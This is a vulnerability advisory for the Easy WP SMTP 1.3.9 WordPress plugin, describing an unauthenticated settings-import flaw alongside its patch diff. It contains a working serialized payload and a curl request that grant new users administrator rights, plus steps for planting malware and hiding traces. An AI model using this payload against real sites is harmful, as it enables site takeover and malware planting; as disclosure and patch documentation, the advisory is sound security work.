Skip to content

Easy WP SMTP 1.3.9 - Unauthenticated Arbitrary wp_options Import

Summary

Description Details
Name Easy WP SMTP 1.3.9 - Unauthenticated Arbitrary wp_options Import
Summary Import settings does not check if performed by administrator and does not sanitize input options before updating wp_options
Affected application Easy WP SMTP
Affected revision 1.3.9
Vendor update available Yes
CVE
Ids CWE-287
CVSSv3.0 Base Score 10.0
CVSS vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Public Exploit available Yes
Exploit verified Yes
Authentication Required No

Vulnerable Code

<?php
### wp-content/plugins/easy-wp-smtp/trunk/easy-wp-smtp.php

323             $data = unserialize( $in[ 'data' ] );
324             foreach ( $data as $key => $value ) {
325                 update_option( $key, $value );
326             }
  • Import/Export settings does not check if the user has capability of manage_options.
if ( current_user_can( 'manage_options' ) ) {
  • The plugin does not check if the options correspond to the plugin. Instead it accepts all options, allowing any option to be updated.

Proof of Concept

  • Wordpress site
$ # user registration is disabled and default user role is subscriber
$ wp option get users_can_register    
0
$ wp option get default_role  
subscriber
  • Client side exploit

Payload

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}
[ attacker ] $ curl -v  http://cve20199787.vulnsite.xxxyy/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F '[email protected]_payload.txt' 
  • On wordpress site, user registration is now enabled
$ wp option get users_can_register     ; wp option get default_role  
1
administrator

Exploit Methodology

The attacker will have to do the following to exploit this vulnerability:- * Run the exploit to allow user registration * Register new user with administrator privileges * Login as new user and edit existing php scripts with malware * Clear traces by disabling user registration and setting default_role to subscriber

Security Patch

--- a/wp-content/plugins/easy-wp-smtp/easy-wp-smtp.php
+++ b/wp-content/plugins/easy-wp-smtp/easy-wp-smtp.php
@@ -249,88 +249,93 @@ class EasyWPSMTP {
     }

     function admin_init() {
-   if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
-       add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
-       add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
-   }
-   //view log file
-   if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
-       if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
-       $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
-       if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
-           if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
-           wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
-           };
-       }
-       $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
-       if ( ! $logfile ) {
-           wp_die( 'Can\'t open log file.' );

+   if ( current_user_can( 'manage_options' ) ) {
+       if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
+       add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
+       add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
+       }
+       //view log file
+       if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
+       if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
+           $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
+           if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
+           if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
+               wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
+           };
+           }
+           $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
+           if ( ! $logfile ) {
+           wp_die( 'Can\'t open log file.' );
+           }
+           header( 'Content-Type: text/plain' );
+           fpassthru( $logfile );
+           die;
        }
-       header( 'Content-Type: text/plain' );
-       fpassthru( $logfile );
-       die;
        }
-   }

-   //check if this is export settings request
-   $is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
-   if ( $is_export_settings ) {
-       $data                    = array();
-       $opts                    = get_option( 'swpsmtp_options', array() );
-       $data[ 'swpsmtp_options' ]       = $opts;
-       $swpsmtp_pass_encrypted          = get_option( 'swpsmtp_pass_encrypted', false );
-       $data[ 'swpsmtp_pass_encrypted' ]    = $swpsmtp_pass_encrypted;
-       if ( $swpsmtp_pass_encrypted ) {
-       $swpsmtp_enc_key         = get_option( 'swpsmtp_enc_key', false );
-       $data[ 'swpsmtp_enc_key' ]   = $swpsmtp_enc_key;
+       //check if this is export settings request
+       $is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
+       if ( $is_export_settings ) {
+       $data                    = array();
+       $opts                    = get_option( 'swpsmtp_options', array() );
+       $data[ 'swpsmtp_options' ]       = $opts;
+       $swpsmtp_pass_encrypted          = get_option( 'swpsmtp_pass_encrypted', false );
+       $data[ 'swpsmtp_pass_encrypted' ]    = $swpsmtp_pass_encrypted;
+       if ( $swpsmtp_pass_encrypted ) {
+           $swpsmtp_enc_key         = get_option( 'swpsmtp_enc_key', false );
+           $data[ 'swpsmtp_enc_key' ]   = $swpsmtp_enc_key;
+       }
+       $smtp_test_mail          = get_option( 'smtp_test_mail', array() );
+       $data[ 'smtp_test_mail' ]    = $smtp_test_mail;
+       $out                 = array();
+       $out[ 'data' ]           = serialize( $data );
+       $out[ 'ver' ]            = 1;
+       $out[ 'checksum' ]       = md5( $out[ 'data' ] );
+
+       $filename = 'easy_wp_smtp_settings.txt';
+       header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
+       header( 'Content-Type: text/plain' );
+       echo serialize( $out );
+       exit;
        }
-       $smtp_test_mail          = get_option( 'smtp_test_mail', array() );
-       $data[ 'smtp_test_mail' ]    = $smtp_test_mail;
-       $out                 = array();
-       $out[ 'data' ]           = serialize( $data );
-       $out[ 'ver' ]            = 1;
-       $out[ 'checksum' ]       = md5( $out[ 'data' ] );
-
-       $filename = 'easy_wp_smtp_settings.txt';
-       header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
-       header( 'Content-Type: text/plain' );
-       echo serialize( $out );
-       exit;
-   }

-   $is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
-   if ( $is_import_settings ) {
-       $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
-       if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
-       echo $err_msg;
-       wp_die();
-       }
-       $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
-       try {
-       $in = unserialize( $in_raw );
-       if ( empty( $in[ 'data' ] ) ) {
+       $is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
+       if ( $is_import_settings ) {
+       $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
+       if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
            echo $err_msg;
            wp_die();
        }
-       if ( empty( $in[ 'checksum' ] ) ) {
-           echo $err_msg;
-           wp_die();
-       }
-       if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
+       $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
+       try {
+           $in = unserialize( $in_raw );
+           if ( empty( $in[ 'data' ] ) ) {
+           echo $err_msg;
+           wp_die();
+           }
+           if ( empty( $in[ 'checksum' ] ) ) {
+           echo $err_msg;
+           wp_die();
+           }
+           if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
+           echo $err_msg;
+           wp_die();
+           }
+           $data = unserialize( $in[ 'data' ] );
+           update_option( 'swpsmtp_options', $data[ 'swpsmtp_options' ] );
+           update_option( 'swpsmtp_pass_encrypted', $data[ 'swpsmtp_pass_encrypted' ] );
+           if ( $data[ 'swpsmtp_pass_encrypted' ] ) {
+           update_option( 'swpsmtp_enc_key', $data[ 'swpsmtp_enc_key' ] );
+           }
+           update_option( 'smtp_test_mail', $data[ 'smtp_test_mail' ] );
+           set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
+           $url = admin_url() . 'options-general.php?page=swpsmtp_settings';
+           wp_safe_redirect( $url );
+           exit;
+       } catch ( Exception $ex ) {
            echo $err_msg;
            wp_die();
        }
-       $data = unserialize( $in[ 'data' ] );
-       foreach ( $data as $key => $value ) {
-           update_option( $key, $value );
-       }
-       set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
-       $url = admin_url() . 'options-general.php?page=swpsmtp_settings';
-       wp_safe_redirect( $url );
-       exit;
-       } catch ( Exception $ex ) {
-       echo $err_msg;
-       wp_die();
        }
    }
     }

References

https://blog.nintechnet.com/critical-0day-vulnerability-fixed-in-wordpress-easy-wp-smtp-plugin/